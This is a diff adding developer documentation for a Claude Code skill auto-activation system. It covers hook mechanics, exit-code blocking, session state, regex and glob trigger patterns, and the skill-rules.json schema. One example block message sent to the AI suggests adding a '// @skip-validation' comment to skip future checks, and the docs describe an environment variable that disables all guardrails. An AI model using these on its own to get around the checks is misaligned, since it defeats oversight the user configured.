+| Other | → User only | → User only | Blocked | Nothing | + +### Why Exit Code 2 Matters + +This is THE critical mechanism for enforcement: + +1. **Only way** to send message to Claude from PreToolUse +2. stderr content is "fed back to Claude automatically" +3. Claude sees the block message and understands what to do +4. Tool execution is prevented +5. Critical for enforcement of guardrails + +### Example Conversation Flow + +``` +User: "Add a new user service with Prisma" + +Claude: "I'll create the user service..." + [Attempts to Edit form/src/services/user.ts] + +PreToolUse Hook: [Exit code 2] + stderr: "⚠️ BLOCKED - Use database-verification" + +Claude sees error, responds: + "I need to verify the database schema first." + [Uses Skill tool: database-verification] + [Verifies column names] + [Retries Edit - now allowed (session tracking)] +``` + +--- + +## Session State Management + +### Purpose + +Prevent repeated nagging in the same session - once Claude uses a skill, don't block again. + +### State File Location + +`.claude/hooks/state/skills-used-{session_id}.json` + +### State File Structure + +```json +{ + "skills_used": [ + "database-verification", + "error-tracking" + ], + "files_verified": [] +} +``` + +### How It Works + +1. **First edit** of file with Prisma: + - Hook blocks with exit code 2 + - Updates session state: adds "database-verification" to skills_used + - Claude sees message, uses skill + +2. **Second edit** (same session): + - Hook checks session state + - Finds "database-verification" in skills_used + - Exits with code 0 (allow) + - No message to Claude + +3. **Different session**: + - New session ID = new state file + - Hook blocks again + +### Limitation + +The hook cannot detect when the skill is *actually* invoked - it just blocks once per session per skill. This means: + +- If Claude doesn't use the skill but makes a different edit, it won't block again +- Trust that Claude follows the instruction +- Future enhancement: detect actual Skill tool usage + +--- + +## Performance Considerations + +### Target Metrics + +- **UserPromptSubmit**: < 100ms +- **PreToolUse**: < 200ms + +### Performance Bottlenecks + +1. **Loading skill-rules.json** (every execution) + - Future: Cache in memory + - Future: Watch for changes, reload only when needed + +2. **Reading file content** (PreToolUse) + - Only when contentPatterns configured + - Only if file exists + - Can be slow for large files + +3. **Glob matching** (PreToolUse) + - Regex compilation for each pattern + - Future: Compile once, cache + +4. **Regex matching** (Both hooks) + - Intent patterns (UserPromptSubmit) + - Content patterns (PreToolUse) + - Future: Lazy compile, cache compiled regexes + +### Optimization Strategies + +**Reduce patterns:** +- Use more specific patterns (fewer to check) +- Combine similar patterns where possible + +**File path patterns:** +- More specific = fewer files to check +- Example: `form/src/services/**` better than `form/**` + +**Content patterns:** +- Only add when truly necessary +- Simpler regex = faster matching + +--- + +**Related Files:** +- [SKILL.md](SKILL.md) - Main skill guide +- [TROUBLESHOOTING.md](TROUBLESHOOTING.md) - Debug hook issues +- [SKILL_RULES_REFERENCE.md](SKILL_RULES_REFERENCE.md) - Configuration reference diff --git a/skills/skill-developer/PATTERNS_LIBRARY.md b/skills/skill-developer/PATTERNS_LIBRARY.md new file mode 100644 index 00000000..72209397 --- /dev/null +++ b/skills/skill-developer/PATTERNS_LIBRARY.md @@ -0,0 +1,152 @@ +# Common Patterns Library + +Ready-to-use regex and glob patterns for skill triggers. Copy and customize for your skills. + +--- + +## Intent Patterns (Regex) + +### Feature/Endpoint Creation +```regex +(add|create|implement|build).*?(feature|endpoint|route|service|controller) +``` + +### Component Creation +```regex +(create|add|make|build).*?(component|UI|page|modal|dialog|form) +``` + +### Database Work +```regex +(add|create|modify|update).*?(user|table|column|field|schema|migration) +(database|prisma).*?(change|update|query) +``` + +### Error Handling +```regex +(fix|handle|catch|debug).*?(error|exception|bug) +(add|implement).*?(try|catch|error.*?handling) +``` + +### Explanation Requests +```regex +(how does|how do|explain|what is|describe|tell me about).*? +``` + +### Workflow Operations +```regex +(create|add|modify|update).*?(workflow|step|branch|condition) +(debug|troubleshoot|fix).*?workflow +``` + +### Testing +```regex +(write|create|add).*?(test|spec|unit.*?test) +``` + +--- + +## File Path Patterns (Glob) + +### Frontend +```glob +frontend/src/**/*.tsx # All React components +frontend/src/**/*.ts # All TypeScript files +frontend/src/components/** # Only components directory +``` + +### Backend Services +```glob +form/src/**/*.ts # Form service +email/src/**/*.ts # Email service +users/src/**/*.ts # Users service +projects/src/**/*.ts # Projects service +``` + +### Database +```glob +**/schema.prisma # Prisma schema (anywhere) +**/migrations/**/*.sql # Migration files +database/src/**/*.ts # Database scripts +``` + +### Workflows +```glob +form/src/workflow/**/*.ts # Workflow engine +form/src/workflow-definitions/**/*.json # Workflow definitions +``` + +### Test Exclusions +```glob +**/*.test.ts # TypeScript tests +**/*.test.tsx # React component tests +**/*.spec.ts # Spec files +``` + +--- + +## Content Patterns (Regex) + +### Prisma/Database +```regex +import.*[Pp]risma # Prisma imports +PrismaService # PrismaService usage +prisma\. # prisma.something +\.findMany\( # Prisma query methods +\.create\( +\.update\( +\.delete\( +``` + +### Controllers/Routes +```regex +export class.*Controller # Controller classes +router\. # Express router +app\.(get|post|put|delete|patch) # Express app routes +``` + +### Error Handling +```regex +try\s*\{ # Try blocks +catch\s*\( # Catch blocks +throw new # Throw statements +``` + +### React/Components +```regex +export.*React\.FC # React functional components +export default function.* # Default function exports +useState|useEffect # React hooks +``` + +--- + +**Usage Example:** + +```json +{ + "my-skill": { + "promptTriggers": { + "intentPatterns": [ + "(create|add|build).*?(component|UI|page)" + ] + }, + "fileTriggers": { + "pathPatterns": [ + "frontend/src/**/*.tsx" + ], + "contentPatterns": [ + "export.*React\\.FC", + "useState|useEffect" + ] + } + } +} +``` + +--- + +**Related Files:** +- [SKILL.md](SKILL.md) - Main skill guide +- [TRIGGER_TYPES.md](TRIGGER_TYPES.md) - Detailed trigger documentation +- [SKILL_RULES_REFERENCE.md](SKILL_RULES_REFERENCE.md) - Complete schema diff --git a/skills/skill-developer/SKILL.md b/skills/skill-developer/SKILL.md new file mode 100644 index 00000000..4c26d2dd --- /dev/null +++ b/skills/skill-developer/SKILL.md @@ -0,0 +1,426 @@ +--- +name: skill-developer +description: Create and manage Claude Code skills following Anthropic best practices. Use when creating new skills, modifying skill-rules.json, understanding trigger patterns, working with hooks, debugging skill activation, or implementing progressive disclosure. Covers skill structure, YAML frontmatter, trigger types (keywords, intent patterns, file paths, content patterns), enforcement levels (block, suggest, warn), hook mechanisms (UserPromptSubmit, PreToolUse), session tracking, and the 500-line rule. +--- + +# Skill Developer Guide + +## Purpose + +Comprehensive guide for creating and managing skills in Claude Code with auto-activation system, following Anthropic's official best practices including the 500-line rule and progressive disclosure pattern. + +## When to Use This Skill + +Automatically activates when you mention: +- Creating or adding skills +- Modifying skill triggers or rules +- Understanding how skill activation works +- Debugging skill activation issues +- Working with skill-rules.json +- Hook system mechanics +- Claude Code best practices +- Progressive disclosure +- YAML frontmatter +- 500-line rule + +--- + +## System Overview + +### Two-Hook Architecture + +**1. UserPromptSubmit Hook** (Proactive Suggestions) +- **File**: `.claude/hooks/skill-activation-prompt.ts` +- **Trigger**: BEFORE Claude sees user's prompt +- **Purpose**: Suggest relevant skills based on keywords + intent patterns +- **Method**: Injects formatted reminder as context (stdout → Claude's input) +- **Use Cases**: Topic-based skills, implicit work detection + +**2. Stop Hook - Error Handling Reminder** (Gentle Reminders) +- **File**: `.claude/hooks/error-handling-reminder.ts` +- **Trigger**: AFTER Claude finishes responding +- **Purpose**: Gentle reminder to self-assess error handling in code written +- **Method**: Analyzes edited files for risky patterns, displays reminder if needed +- **Use Cases**: Error handling awareness without blocking friction + +**Philosophy Change (2025-10-27):** We moved away from blocking PreToolUse for Sentry/error handling. Instead, use gentle post-response reminders that don't block workflow but maintain code quality awareness. + +### Configuration File + +**Location**: `.claude/skills/skill-rules.json` + +Defines: +- All skills and their trigger conditions +- Enforcement levels (block, suggest, warn) +- File path patterns (glob) +- Content detection patterns (regex) +- Skip conditions (session tracking, file markers, env vars) + +--- + +## Skill Types + +### 1. Guardrail Skills + +**Purpose:** Enforce critical best practices that prevent errors + +**Characteristics:** +- Type: `"guardrail"` +- Enforcement: `"block"` +- Priority: `"critical"` or `"high"` +- Block file edits until skill used +- Prevent common mistakes (column names, critical errors) +- Session-aware (don't repeat nag in same session) + +**Examples:** +- `database-verification` - Verify table/column names before Prisma queries +- `frontend-dev-guidelines` - Enforce React/TypeScript patterns + +**When to Use:** +- Mistakes that cause runtime errors +- Data integrity concerns +- Critical compatibility issues + +### 2. Domain Skills + +**Purpose:** Provide comprehensive guidance for specific areas + +**Characteristics:** +- Type: `"domain"` +- Enforcement: `"suggest"` +- Priority: `"high"` or `"medium"` +- Advisory, not mandatory +- Topic or domain-specific +- Comprehensive documentation + +**Examples:** +- `backend-dev-guidelines` - Node.js/Express/TypeScript patterns +- `frontend-dev-guidelines` - React/TypeScript best practices +- `error-tracking` - Sentry integration guidance + +**When to Use:** +- Complex systems requiring deep knowledge +- Best practices documentation +- Architectural patterns +- How-to guides + +--- + +## Quick Start: Creating a New Skill + +### Step 1: Create Skill File + +**Location:** `.claude/skills/{skill-name}/SKILL.md` + +**Template:** +```markdown +--- +name: my-new-skill +description: Brief description including keywords that trigger this skill. Mention topics, file types, and use cases. Be explicit about trigger terms. +--- + +# My New Skill + +## Purpose +What this skill helps with + +## When to Use +Specific scenarios and conditions + +## Key Information +The actual guidance, documentation, patterns, examples +``` + +**Best Practices:** +- ✅ **Name**: Lowercase, hyphens, gerund form (verb + -ing) preferred +- ✅ **Description**: Include ALL trigger keywords/phrases (max 1024 chars) +- ✅ **Content**: Under 500 lines - use reference files for details +- ✅ **Examples**: Real code examples +- ✅ **Structure**: Clear headings, lists, code blocks + +### Step 2: Add to skill-rules.json + +See [SKILL_RULES_REFERENCE.md](SKILL_RULES_REFERENCE.md) for complete schema. + +**Basic Template:** +```json +{ + "my-new-skill": { + "type": "domain", + "enforcement": "suggest", + "priority": "medium", + "promptTriggers": { + "keywords": ["keyword1", "keyword2"], + "intentPatterns": ["(create|add).*?something"] + } + } +} +``` + +### Step 3: Test Triggers + +**Test UserPromptSubmit:** +```bash +echo '{"session_id":"test","prompt":"your test prompt"}' | \ + npx tsx .claude/hooks/skill-activation-prompt.ts +``` + +**Test PreToolUse:** +```bash +cat <<'EOF' | npx tsx .claude/hooks/skill-verification-guard.ts +{"session_id":"test","tool_name":"Edit","tool_input":{"file_path":"test.ts"}} +EOF +``` + +### Step 4: Refine Patterns + +Based on testing: +- Add missing keywords +- Refine intent patterns to reduce false positives +- Adjust file path patterns +- Test content patterns against actual files + +### Step 5: Follow Anthropic Best Practices + +✅ Keep SKILL.md under 500 lines +✅ Use progressive disclosure with reference files +✅ Add table of contents to reference files > 100 lines +✅ Write detailed description with trigger keywords +✅ Test with 3+ real scenarios before documenting +✅ Iterate based on actual usage + +--- + +## Enforcement Levels + +### BLOCK (Critical Guardrails) + +- Physically prevents Edit/Write tool execution +- Exit code 2 from hook, stderr → Claude +- Claude sees message and must use skill to proceed +- **Use For**: Critical mistakes, data integrity, security issues + +**Example:** Database column name verification + +### SUGGEST (Recommended) + +- Reminder injected before Claude sees prompt +- Claude is aware of relevant skills +- Not enforced, just advisory +- **Use For**: Domain guidance, best practices, how-to guides + +**Example:** Frontend development guidelines + +### WARN (Optional) + +- Low priority suggestions +- Advisory only, minimal enforcement +- **Use For**: Nice-to-have suggestions, informational reminders + +**Rarely used** - most skills are either BLOCK or SUGGEST. + +--- + +## Skip Conditions & User Control + +### 1. Session Tracking + +**Purpose:** Don't nag repeatedly in same session + +**How it works:** +- First edit → Hook blocks, updates session state +- Second edit (same session) → Hook allows +- Different session → Blocks again + +**State File:** `.claude/hooks/state/skills-used-{session_id}.json` + +### 2. File Markers + +**Purpose:** Permanent skip for verified files + +**Marker:** `// @skip-validation` + +**Usage:** +```typescript +// @skip-validation +import { PrismaService } from './prisma'; +// This file has been manually verified +``` + +**NOTE:** Use sparingly - defeats the purpose if overused + +### 3. Environment Variables + +**Purpose:** Emergency disable, temporary override + +**Global disable:** +```bash +export SKIP_SKILL_GUARDRAILS=true # Disables ALL PreToolUse blocks +``` + +**Skill-specific:** +```bash +export SKIP_DB_VERIFICATION=true +export SKIP_ERROR_REMINDER=true +``` + +--- + +## Testing Checklist + +When creating a new skill, verify: + +- [ ] Skill file created in `.claude/skills/{name}/SKILL.md` +- [ ] Proper frontmatter with name and description +- [ ] Entry added to `skill-rules.json` +- [ ] Keywords tested with real prompts +- [ ] Intent patterns tested with variations +- [ ] File path patterns tested with actual files +- [ ] Content patterns tested against file contents +- [ ] Block message is clear and actionable (if guardrail) +- [ ] Skip conditions configured appropriately +- [ ] Priority level matches importance +- [ ] No false positives in testing +- [ ] No false negatives in testing +- [ ] Performance is acceptable (<100ms or <200ms) +- [ ] JSON syntax validated: `jq . skill-rules.json` +- [ ] **SKILL.md under 500 lines** ⭐ +- [ ] Reference files created if needed +- [ ] Table of contents added to files > 100 lines + +--- + +## Reference Files + +For detailed information on specific topics, see: + +### [TRIGGER_TYPES.md](TRIGGER_TYPES.md) +Complete guide to all trigger types: +- Keyword triggers (explicit topic matching) +- Intent patterns (implicit action detection) +- File path triggers (glob patterns) +- Content patterns (regex in files) +- Best practices and examples for each +- Common pitfalls and testing strategies + +### [SKILL_RULES_REFERENCE.md](SKILL_RULES_REFERENCE.md) +Complete skill-rules.json schema: +- Full TypeScript interface definitions +- Field-by-field explanations +- Complete guardrail skill example +- Complete domain skill example +- Validation guide and common errors + +### [HOOK_MECHANISMS.md](HOOK_MECHANISMS.md) +Deep dive into hook internals: +- UserPromptSubmit flow (detailed) +- PreToolUse flow (detailed) +- Exit code behavior table (CRITICAL) +- Session state management +- Performance considerations + +### [TROUBLESHOOTING.md](TROUBLESHOOTING.md) +Comprehensive debugging guide: +- Skill not triggering (UserPromptSubmit) +- PreToolUse not blocking +- False positives (too many triggers) +- Hook not executing at all +- Performance issues + +### [PATTERNS_LIBRARY.md](PATTERNS_LIBRARY.md) +Ready-to-use pattern collection: +- Intent pattern library (regex) +- File path pattern library (glob) +- Content pattern library (regex) +- Organized by use case +- Copy-paste ready + +### [ADVANCED.md](ADVANCED.md) +Future enhancements and ideas: +- Dynamic rule updates +- Skill dependencies +- Conditional enforcement +- Skill analytics +- Skill versioning + +--- + +## Quick Reference Summary + +### Create New Skill (5 Steps) + +1. Create `.claude/skills/{name}/SKILL.md` with frontmatter +2. Add entry to `.claude/skills/skill-rules.json` +3. Test with `npx tsx` commands +4. Refine patterns based on testing +5. Keep SKILL.md under 500 lines + +### Trigger Types + +- **Keywords**: Explicit topic mentions +- **Intent**: Implicit action detection +- **File Paths**: Location-based activation +- **Content**: Technology-specific detection + +See [TRIGGER_TYPES.md](TRIGGER_TYPES.md) for complete details. + +### Enforcement + +- **BLOCK**: Exit code 2, critical only +- **SUGGEST**: Inject context, most common +- **WARN**: Advisory, rarely used + +### Skip Conditions + +- **Session tracking**: Automatic (prevents repeated nags) +- **File markers**: `// @skip-validation` (permanent skip) +- **Env vars**: `SKIP_SKILL_GUARDRAILS` (emergency disable) + +### Anthropic Best Practices + +✅ **500-line rule**: Keep SKILL.md under 500 lines +✅ **Progressive disclosure**: Use reference files for details +✅ **Table of contents**: Add to reference files > 100 lines +✅ **One level deep**: Don't nest references deeply +✅ **Rich descriptions**: Include all trigger keywords (max 1024 chars) +✅ **Test first**: Build 3+ evaluations before extensive documentation +✅ **Gerund naming**: Prefer verb + -ing (e.g., "processing-pdfs") + +### Troubleshoot + +Test hooks manually: +```bash +# UserPromptSubmit +echo '{"prompt":"test"}' | npx tsx .claude/hooks/skill-activation-prompt.ts + +# PreToolUse +cat <<'EOF' | npx tsx .claude/hooks/skill-verification-guard.ts +{"tool_name":"Edit","tool_input":{"file_path":"test.ts"}} +EOF +``` + +See [TROUBLESHOOTING.md](TROUBLESHOOTING.md) for complete debugging guide. + +--- + +## Related Files + +**Configuration:** +- `.claude/skills/skill-rules.json` - Master configuration +- `.claude/hooks/state/` - Session tracking +- `.claude/settings.json` - Hook registration + +**Hooks:** +- `.claude/hooks/skill-activation-prompt.ts` - UserPromptSubmit +- `.claude/hooks/error-handling-reminder.ts` - Stop event (gentle reminders) + +**All Skills:** +- `.claude/skills/*/SKILL.md` - Skill content files + +--- + +**Skill Status**: COMPLETE - Restructured following Anthropic best practices ✅ +**Line Count**: < 500 (following 500-line rule) ✅ +**Progressive Disclosure**: Reference files for detailed information ✅ + +**Next**: Create more skills, refine patterns based on usage diff --git a/skills/skill-developer/SKILL_RULES_REFERENCE.md b/skills/skill-developer/SKILL_RULES_REFERENCE.md new file mode 100644 index 00000000..1cad7d9b --- /dev/null +++ b/skills/skill-developer/SKILL_RULES_REFERENCE.md @@ -0,0 +1,315 @@ +# skill-rules.json - Complete Reference + +Complete schema and configuration reference for `.claude/skills/skill-rules.json`. + +## Table of Contents + +- [File Location](#file-location) +- [Complete TypeScript Schema](#complete-typescript-schema) +- [Field Guide](#field-guide) +- [Example: Guardrail Skill](#example-guardrail-skill) +- [Example: Domain Skill](#example-domain-skill) +- [Validation](#validation) + +--- + +## File Location + +**Path:** `.claude/skills/skill-rules.json` + +This JSON file defines all skills and their trigger conditions for the auto-activation system. + +--- + +## Complete TypeScript Schema + +```typescript +interface SkillRules { + version: string; + skills: Record<string, SkillRule>; +} + +interface SkillRule { + type: 'guardrail' | 'domain'; + enforcement: 'block' | 'suggest' | 'warn'; + priority: 'critical' | 'high' | 'medium' | 'low'; + + promptTriggers?: { + keywords?: string[]; + intentPatterns?: string[]; // Regex strings + }; + + fileTriggers?: { + pathPatterns: string[]; // Glob patterns + pathExclusions?: string[]; // Glob patterns + contentPatterns?: string[]; // Regex strings + createOnly?: boolean; // Only trigger on file creation + }; + + blockMessage?: string; // For guardrails, {file_path} placeholder + + skipConditions?: { + sessionSkillUsed?: boolean; // Skip if used in session + fileMarkers?: string[]; // e.g., ["@skip-validation"] + envOverride?: string; // e.g., "SKIP_DB_VERIFICATION" + }; +} +``` + +--- + +## Field Guide + +### Top Level + +| Field | Type | Required | Description | +|-------|------|----------|-------------| +| `version` | string | Yes | Schema version (currently "1.0") | +| `skills` | object | Yes | Map of skill name → SkillRule | + +### SkillRule Fields + +| Field | Type | Required | Description | +|-------|------|----------|-------------| +| `type` | string | Yes | "guardrail" (enforced) or "domain" (advisory) | +| `enforcement` | string | Yes | "block" (PreToolUse), "suggest" (UserPromptSubmit), or "warn" | +| `priority` | string | Yes | "critical", "high", "medium", or "low" | +| `promptTriggers` | object | Optional | Triggers for UserPromptSubmit hook | +| `fileTriggers` | object | Optional | Triggers for PreToolUse hook | +| `blockMessage` | string | Optional* | Required if enforcement="block". Use `{file_path}` placeholder | +| `skipConditions` | object | Optional | Escape hatches and session tracking | + +*Required for guardrails + +### promptTriggers Fields + +| Field | Type | Required | Description | +|-------|------|----------|-------------| +| `keywords` | string[] | Optional | Exact substring matches (case-insensitive) | +| `intentPatterns` | string[] | Optional | Regex patterns for intent detection | + +### fileTriggers Fields + +| Field | Type | Required | Description | +|-------|------|----------|-------------| +| `pathPatterns` | string[] | Yes* | Glob patterns for file paths | +| `pathExclusions` | string[] | Optional | Glob patterns to exclude (e.g., test files) | +| `contentPatterns` | string[] | Optional | Regex patterns to match file content | +| `createOnly` | boolean | Optional | Only trigger when creating new files | + +*Required if fileTriggers is present + +### skipConditions Fields + +| Field | Type | Required | Description | +|-------|------|----------|-------------| +| `sessionSkillUsed` | boolean | Optional | Skip if skill already used this session | +| `fileMarkers` | string[] | Optional | Skip if file contains comment marker | +| `envOverride` | string | Optional | Environment variable name to disable skill | + +--- + +## Example: Guardrail Skill + +Complete example of a blocking guardrail skill with all features: + +```json +{ + "database-verification": { + "type": "guardrail", + "enforcement": "block", + "priority": "critical", + + "promptTriggers": { + "keywords": [ + "prisma", + "database", + "table", + "column", + "schema", + "query", + "migration" + ], + "intentPatterns": [ + "(add|create|implement).*?(user|login|auth|tracking|feature)", + "(modify|update|change).*?(table|column|schema|field)", + "database.*?(change|update|modify|migration)" + ] + }, + + "fileTriggers": { + "pathPatterns": [ + "**/schema.prisma", + "**/migrations/**/*.sql", + "database/src/**/*.ts", + "form/src/**/*.ts", + "email/src/**/*.ts", + "users/src/**/*.ts", + "projects/src/**/*.ts", + "utilities/src/**/*.ts" + ], + "pathExclusions": [ + "**/*.test.ts", + "**/*.spec.ts" + ], + "contentPatterns": [ + "import.*[Pp]risma", + "PrismaService", + "prisma\\.", + "\\.findMany\\(", + "\\.findUnique\\(", + "\\.findFirst\\(", + "\\.create\\(", + "\\.createMany\\(", + "\\.update\\(", + "\\.updateMany\\(", + "\\.upsert\\(", + "\\.delete\\(", + "\\.deleteMany\\(" + ] + }, + + "blockMessage": "⚠️ BLOCKED - Database Operation Detected\n\n📋 REQUIRED ACTION:\n1. Use Skill tool: 'database-verification'\n2. Verify ALL table and column names against schema\n3. Check database structure with DESCRIBE commands\n4. Then retry this edit\n\nReason: Prevent column name errors in Prisma queries\nFile: {file_path}\n\n💡 TIP: Add '// @skip-validation' comment to skip future checks", + + "skipConditions": { + "sessionSkillUsed": true, + "fileMarkers": [ + "@skip-validation" + ], + "envOverride": "SKIP_DB_VERIFICATION" + } + } +} +``` + +### Key Points for Guardrails + +1. **type**: Must be "guardrail" +2. **enforcement**: Must be "block" +3. **priority**: Usually "critical" or "high" +4. **blockMessage**: Required, clear actionable steps +5. **skipConditions**: Session tracking prevents repeated nagging +6. **fileTriggers**: Usually has both path and content patterns +7. **contentPatterns**: Catch actual usage of technology + +--- + +## Example: Domain Skill + +Complete example of a suggestion-based domain skill: + +```json +{ + "project-catalog-developer": { + "type": "domain", + "enforcement": "suggest", + "priority": "high", + + "promptTriggers": { + "keywords": [ + "layout", + "layout system", + "grid", + "grid layout", + "toolbar", + "column", + "cell editor", + "cell renderer", + "submission", + "submissions", + "blog dashboard", + "datagrid", + "data grid", + "CustomToolbar", + "GridLayoutDialog", + "useGridLayout", + "auto-save", + "column order", + "column width", + "filter", + "sort" + ], + "intentPatterns": [ + "(how does|how do|explain|what is|describe).*?(layout|grid|toolbar|column|submission|catalog)", + "(add|create|modify|change).*?(toolbar|column|cell|editor|renderer)", + "blog dashboard.*?" + ] + }, + + "fileTriggers": { + "pathPatterns": [ + "frontend/src/features/submissions/**/*.tsx", + "frontend/src/features/submissions/**/*.ts" + ], + "pathExclusions": [ + "**/*.test.tsx", + "**/*.test.ts" + ] + } + } +} +``` + +### Key Points for Domain Skills + +1. **type**: Must be "domain" +2. **enforcement**: Usually "suggest" +3. **priority**: "high" or "medium" +4. **blockMessage**: Not needed (doesn't block) +5. **skipConditions**: Optional (less critical) +6. **promptTriggers**: Usually has extensive keywords +7. **fileTriggers**: May have only path patterns (content less important) + +--- + +## Validation + +### Check JSON Syntax + +```bash +cat .claude/skills/skill-rules.json | jq . +``` + +If valid, jq will pretty-print the JSON. If invalid, it will show the error. + +### Common JSON Errors + +**Trailing comma:** +```json +{ + "keywords": ["one", "two",] // ❌ Trailing comma +} +``` + +**Missing quotes:** +```json +{ + type: "guardrail" // ❌ Missing quotes on key +} +``` + +**Single quotes (invalid JSON):** +```json +{ + 'type': 'guardrail' // ❌ Must use double quotes +} +``` + +### Validation Checklist + +- [ ] JSON syntax valid (use `jq`) +- [ ] All skill names match SKILL.md filenames +- [ ] Guardrails have `blockMessage` +- [ ] Block messages use `{file_path}` placeholder +- [ ] Intent patterns are valid regex (test on regex101.com) +- [ ] File path patterns use correct glob syntax +- [ ] Content patterns escape special characters +- [ ] Priority matches enforcement level +- [ ] No duplicate skill names + +--- + +**Related Files:** +- [SKILL.md](SKILL.md) - Main skill guide +- [TRIGGER_TYPES.md](TRIGGER_TYPES.md) - Complete trigger documentation +- [TROUBLESHOOTING.md](TROUBLESHOOTING.md) - Debugging configuration issues diff --git a/skills/skill-developer/TRIGGER_TYPES.md b/skills/skill-developer/TRIGGER_TYPES.md new file mode 100644 index 00000000..dd61951c --- /dev/null +++ b/skills/skill-developer/TRIGGER_TYPES.md @@ -0,0 +1,305 @@ +# Trigger Types - Complete Guide + +Complete reference for configuring skill triggers in Claude Code's skill auto-activation system. + +## Table of Contents + +- [Keyword Triggers (Explicit)](#keyword-triggers-explicit) +- [Intent Pattern Triggers (Implicit)](#intent-pattern-triggers-implicit) +- [File Path Triggers](#file-path-triggers) +- [Content Pattern Triggers](#content-pattern-triggers) +- [Best Practices Summary](#best-practices-summary) + +--- + +## Keyword Triggers (Explicit) + +### How It Works + +Case-insensitive substring matching in user's prompt. + +### Use For + +Topic-based activation where user explicitly mentions the subject. + +### Configuration + +```json +"promptTriggers": { + "keywords": ["layout", "grid", "toolbar", "submission"] +} +``` + +### Example + +- User prompt: "how does the **layout** system work?" +- Matches: "layout" keyword +- Activates: `project-catalog-developer` + +### Best Practices + +- Use specific, unambiguous terms +- Include common variations ("layout", "layout system", "grid layout") +- Avoid overly generic words ("system", "work", "create") +- Test with real prompts + +--- + +## Intent Pattern Triggers (Implicit) + +### How It Works + +Regex pattern matching to detect user's intent even when they don't mention the topic explicitly. + +### Use For + +Action-based activation where user describes what they want to do rather than the specific topic. + +### Configuration + +```json +"promptTriggers": { + "intentPatterns": [ + "(create|add|implement).*?(feature|endpoint)", + "(how does|explain).*?(layout|workflow)" + ] +} +``` + +### Examples + +**Database Work:** +- User prompt: "add user tracking feature" +- Matches: `(add).*?(feature)` +- Activates: `database-verification`, `error-tracking` + +**Component Creation:** +- User prompt: "create a dashboard widget" +- Matches: `(create).*?(component)` (if component in pattern) +- Activates: `frontend-dev-guidelines` + +### Best Practices + +- Capture common action verbs: `(create|add|modify|build|implement)` +- Include domain-specific nouns: `(feature|endpoint|component|workflow)` +- Use non-greedy matching: `.*?` instead of `.*` +- Test patterns thoroughly with regex tester (https://regex101.com/) +- Don't make patterns too broad (causes false positives) +- Don't make patterns too specific (causes false negatives) + +### Common Pattern Examples + +```regex +# Database Work +(add|create|implement).*?(user|login|auth|feature) + +# Explanations +(how does|explain|what is|describe).*? + +# Frontend Work +(create|add|make|build).*?(component|UI|page|modal|dialog) + +# Error Handling +(fix|handle|catch|debug).*?(error|exception|bug) + +# Workflow Operations +(create|add|modify).*?(workflow|step|branch|condition) +``` + +--- + +## File Path Triggers + +### How It Works + +Glob pattern matching against the file path being edited. + +### Use For + +Domain/area-specific activation based on file location in the project. + +### Configuration + +```json +"fileTriggers": { + "pathPatterns": [ + "frontend/src/**/*.tsx", + "form/src/**/*.ts" + ], + "pathExclusions": [ + "**/*.test.ts", + "**/*.spec.ts" + ] +} +``` + +### Glob Pattern Syntax + +- `**` = Any number of directories (including zero) +- `*` = Any characters within a directory name +- Examples: + - `frontend/src/**/*.tsx` = All .tsx files in frontend/src and subdirs + - `**/schema.prisma` = schema.prisma anywhere in project + - `form/src/**/*.ts` = All .ts files in form/src subdirs + +### Example + +- File being edited: `frontend/src/components/Dashboard.tsx` +- Matches: `frontend/src/**/*.tsx` +- Activates: `frontend-dev-guidelines` + +### Best Practices + +- Be specific to avoid false positives +- Use exclusions for test files: `**/*.test.ts` +- Consider subdirectory structure +- Test patterns with actual file paths +- Use narrower patterns when possible: `form/src/services/**` not `form/**` + +### Common Path Patterns + +```glob +# Frontend +frontend/src/**/*.tsx # All React components +frontend/src/**/*.ts # All TypeScript files +frontend/src/components/** # Only components directory + +# Backend Services +form/src/**/*.ts # Form service +email/src/**/*.ts # Email service +users/src/**/*.ts # Users service + +# Database +**/schema.prisma # Prisma schema (anywhere) +**/migrations/**/*.sql # Migration files +database/src/**/*.ts # Database scripts + +# Workflows +form/src/workflow/**/*.ts # Workflow engine +form/src/workflow-definitions/**/*.json # Workflow definitions + +# Test Exclusions +**/*.test.ts # TypeScript tests +**/*.test.tsx # React component tests +**/*.spec.ts # Spec files +``` + +--- + +## Content Pattern Triggers + +### How It Works + +Regex pattern matching against the file's actual content (what's inside the file). + +### Use For + +Technology-specific activation based on what the code imports or uses (Prisma, controllers, specific libraries). + +### Configuration + +```json +"fileTriggers": { + "contentPatterns": [ + "import.*[Pp]risma", + "PrismaService", + "\\.findMany\\(", + "\\.create\\(" + ] +} +``` + +### Examples + +**Prisma Detection:** +- File contains: `import { PrismaService } from '@project/database'` +- Matches: `import.*[Pp]risma` +- Activates: `database-verification` + +**Controller Detection:** +- File contains: `export class UserController {` +- Matches: `export class.*Controller` +- Activates: `error-tracking` + +### Best Practices + +- Match imports: `import.*[Pp]risma` (case-insensitive with [Pp]) +- Escape special regex chars: `\\.findMany\\(` not `.findMany(` +- Patterns use case-insensitive flag +- Test against real file content +- Make patterns specific enough to avoid false matches + +### Common Content Patterns + +```regex +# Prisma/Database +import.*[Pp]risma # Prisma imports +PrismaService # PrismaService usage +prisma\. # prisma.something +\.findMany\( # Prisma query methods +\.create\( +\.update\( +\.delete\( + +# Controllers/Routes +export class.*Controller # Controller classes +router\. # Express router +app\.(get|post|put|delete|patch) # Express app routes + +# Error Handling +try\s*\{ # Try blocks +catch\s*\( # Catch blocks +throw new # Throw statements + +# React/Components +export.*React\.FC # React functional components +export default function.* # Default function exports +useState|useEffect # React hooks +``` + +--- + +## Best Practices Summary + +### DO: +✅ Use specific, unambiguous keywords +✅ Test all patterns with real examples +✅ Include common variations +✅ Use non-greedy regex: `.*?` +✅ Escape special characters in content patterns +✅ Add exclusions for test files +✅ Make file path patterns narrow and specific + +### DON'T: +❌ Use overly generic keywords ("system", "work") +❌ Make intent patterns too broad (false positives) +❌ Make patterns too specific (false negatives) +❌ Forget to test with regex tester (https://regex101.com/) +❌ Use greedy regex: `.*` instead of `.*?` +❌ Match too broadly in file paths + +### Testing Your Triggers + +**Test keyword/intent triggers:** +```bash +echo '{"session_id":"test","prompt":"your test prompt"}' | \ + npx tsx .claude/hooks/skill-activation-prompt.ts +``` + +**Test file path/content triggers:** +```bash +cat <<'EOF' | npx tsx .claude/hooks/skill-verification-guard.ts +{ + "session_id": "test", + "tool_name": "Edit", + "tool_input": {"file_path": "/path/to/test/file.ts"} +} +EOF +``` + +--- + +**Related Files:** +- [SKILL.md](SKILL.md) - Main skill guide +- [SKILL_RULES_REFERENCE.md](SKILL_RULES_REFERENCE.md) 